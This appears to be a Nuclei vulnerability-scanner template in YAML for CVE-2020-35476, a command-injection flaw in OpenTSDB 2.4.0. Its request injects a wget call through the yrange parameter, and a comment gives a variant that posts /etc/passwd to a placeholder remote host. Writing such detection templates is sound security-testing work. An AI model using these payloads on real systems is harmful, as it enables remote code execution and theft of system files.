40 lines
1.4 KiB
YAML
40 lines
1.4 KiB
YAML
id: CVE-2020-35476
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info:
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name: OpenTSDB 2.4.0 Remote Code Execution
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author: pikpikcu
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severity: critical
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description: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory.
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reference: https://github.com/OpenTSDB/opentsdb/issues/2051
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tags: cve,cve2020,opentsdb,rce
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# Extracting /etc/passwd to remote host:-
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# /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20--post-file%20/etc/passwd%20http://my-host%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2020-35476
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cwe-id: CWE-78
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- plotted
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- timing
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- cachehit
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part: body
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condition: and
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- type: word
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words:
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- application/json
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part: header |